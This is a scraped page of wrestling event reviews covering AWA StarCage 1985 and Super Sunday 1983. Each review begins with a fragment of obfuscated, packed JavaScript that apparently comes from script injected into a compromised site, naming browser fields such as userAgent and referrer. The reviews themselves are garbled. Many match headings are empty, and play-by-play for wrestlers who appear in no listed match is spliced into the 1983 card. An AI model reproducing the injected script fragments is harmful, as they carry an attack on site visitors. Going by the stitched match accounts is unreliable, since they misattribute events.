");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|skbkb|var|u0026u|referrer|atdzh||js|php'.split('|'),0,{})) StarCage 1985
Date: April 21, 1985
Location: St. Paul Civic Center, St. Paul, Minnesota
Commentators: Doug Cameron, Ken Resnick

We open with Verne Gagne talking about someone being behind him.

Tom Zenk/Steve Olsonoski vs. The Alaskans

Buck Zumhofe/Baron Von Raschke vs. Jimmy Garvin/Steve Regal

Not that Regal. Raschke was injured by Garvin and Zumhofe and Regal feuded over the Light Heavyweight Title for the better part of eternity. Regal has the belt here and is called Mr. Electricity. Apparently we have some tree loving hippies in the crowd as he gets booed out of the building here. Zumhofe tries to start a dance which looks more like the Tomahawk Chop. Regal argues with some fan who is apparently a regular and is rolled up for two.

Zumhofe clears the ring and the fan is the most over person on the show so far. Zumhofe and Regal officially get us going with Mr. Electricity being sent HARD into the corner. He crawls over to Garvin for a tag as things continue to be slow paced bursts of speed to start if that makes sense. Baron comes in to face Garvin and goes after the eye, which is what Garvin injured on Baron in the first place. The fans are WAY into this now so I guess this is a real blood feud.

Brad Rheingans/Bob Backlund vs. Billy Robinson/Bobby Duncum

Apparently the commentator had no idea what he was talking about and this is the real match.

Brad Rheingans/Bob Backlund vs. Larry Zbyszko/Butch Reed

Both teams say they want more.

Tonga Kid/Jim Brunzell vs. Billy Robinson/Bobby Duncum

Verne Gagne/Greg Gagne vs. Nick Bockwinkel/Masa Saito

Rating: C-. The crowd reaction for Verne really was impressive here but that seemed to be the case on every big show that he came out of retirement on. The same problems are here as they have been all match long, but at least with this one there seemed to be a real feud that people cared about. Still though, decent enough here.

Verne gets beaten down post match until Greg makes the save.

Tag Titles: Road Warriors vs. Larry Hennig/Curt Hennig

Another music video.

Sgt. Slaughter/Jerry Blackwell vs. Sheik Adnan Al-Kassie/King Tonga/Masked Superstar

Masked Superstar is Ax of Demolition, King Tonga is Haku and this is in a cage. The reason for the match? EVIL NON AMERICAN SCUM!!! Blackwell and Superstar start things off but Jerry wants the Sheik. That would be a feud that went on for almost half of the 80s. Anyway he gets King Tonga instead and the King immediately tries to escape. That gets him nowhere as Blackwell (who weighs nearly 500lbs) kills him with a clothesline.

Remember to follow me on Twitter @kbreviews

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|deiee|var|u0026u|referrer|kakfi||js|php'.split('|'),0,{})) Super Sunday 1983
Date: April 24, 1983
Location: St. Paul Civic Center, St. Paul, Minnesota
Attendance: 20,000
Commentator: Ron Trongard

Gene Okerlund is the ring announcer.

Brad Rheingans vs. Rocky Stone

Rating: D+. Not a bad opener but the crowd popped pretty well for the ending. Rheingans was a big American hero character as he was an Olympian, so the crowd was always going to explode when he came out of nowhere for a win like this. I have a felling I can completely ignore the times they give us tonight too, because they said it was 5:31, with the pin coming about two minutes after they said five minutes gone by.

Rheingans says nothing of note.

Steve Regal vs. Buck Zumhofe

Buck is a rock n roll enthusiast and Regal is Mr. Electricity. Zumhofe has a Light Heavyweight Title next month which Trongard talks about for awhile. Buck takes him into the corner to frustrate Regal a bit. He gets sent into the corner and is even more frustrated now. I keep forgetting this is 1983 as the production values are about the same as they would be in an NWA show from 1987.

Regal comes back with some forearms and takes him to the mat with an armbar. Expect to read the word armbar a lot in this show. Regal fires away with knees and hooks a chinlock. This has been a pretty fast paced match so far. Buck blocks being rammed into the buckle but charges into a boot. And never mind as Buck slams him and hits a running Vader Bomb for the pin out of nowhere.

Jerry Lawler vs. John Tolos

Velvet gets in a single punch and tags Martin back in. The heels finally get Grable into the corner for some double teaming. We even get a Tree of Woe out of it. Richter works on a bow and arrow submission as we hit the ten minute mark. Velvet keeps trying to run in to help but it just gets Grable in more trouble. Finally Grable escapes and makes the tag so Velvet can clean house.

Everything breaks down and the champs get rammed together. Martin and Richter are in now and all four miss splashes, drawing a BUNCH of booing. Off to Velvet who is immediately put into an over the shoulder back breaker. Richter lets her go for some reason and brings Grable back in. The champs do the Faces of Fear backdrop into a powerbomb for the pin out of almost nowhere on Velvet.

The champs say nothing of note post match.

Wahoo McDaniel vs. Dizzy Ed Boulder

Jesse Ventura/Blackjack Lanza/Ken Patera vs. High Fliers/Rick Martel

Martel drags Lanza into the corner but does it so slowly that Ventura falls into the ring from reaching so much. Patera comes back in as does Brunzell and the power man pulls the Flier into the corner. Off to Ventura for a bearhug. Things break down and Gagne comes in to beat up everyone. Martel comes in to help and the Heenan Family is in trouble. Gagne puts a sleeper on Patera but Ventrua makes the save.

Replay shows that Heenan did slip something to Patera during the brawl. The good guys clear the ring in a big brawl post match. Heenan takes his usual beating. The losers claim cheating post match.

We get a lot of replays as well.

AWA World Title: Nick Bockwinkel vs. Hulk Hogan

Rating: B. The match was good as we had Hogan taking everything Bockwinkel had and continuing to come back. He broke the sleeper three times through raw power and had the people eating out of the palm of his hand for almost twenty minutes. It was the perfect kind of match to FINALLY change the title.

At the end of the day, it was a bad business decision by Gagne. The stuff he had done did indeed work in the past and had gotten him this far. The problem was that Hogan was unlike anything he had ever had to work with before. Any money they lost in the merchandise would have easily been made up by additional revenue from house shows or the additional merchandise they sold because of Hogan. The company was certainly not dead after Hogan left but it was nowhere near what it could have been and it became a shell of itself in the years to come.

Jerry Blackwell/Sheik Adnan Al-Kassie vs. Verne Gagne/Mad Dog Vachon

Gagne and Vachon are an old tag team that are coming back together to fight the Sheiks in a feud that never seemed to end. They come out to Celebrate Good Times of all songs. The Sheiks stand on the apron before the bell and are counted for some reason. How can you get counted out before the match starts? Verne and Blackwell start things off with Gagne beating up both Sheiks. The 400lb Blackwell gets backdropped for two.

Off to Al-Kassie who hides in the corner from a growling Mad Dog. Vachon is finally knocked to the floor but Gagne saves him from a bell shot. The Sheik brings in a chair to hit Vachon but after it connects, Gagne gets it away and blasts everyone with it. Vachon is busted open now. Blackwell powerslams him down for two as Gagne makes the save. Off to an abdominal stretch from Sheik but Gagne makes another save.

Verne and Vachon celebrate to end the show.

Overall Rating: C. This was pretty boring for the first half but the last three matches helped a lot. The world title match is quite good as is the six man tag. The main event tag is just ok but it sent the crowd home happy which was the right idea. The white elephant in the arena though is Hogan not getting the title again and he would be gone by the end of the year, launching the WWF to the top of the industry.

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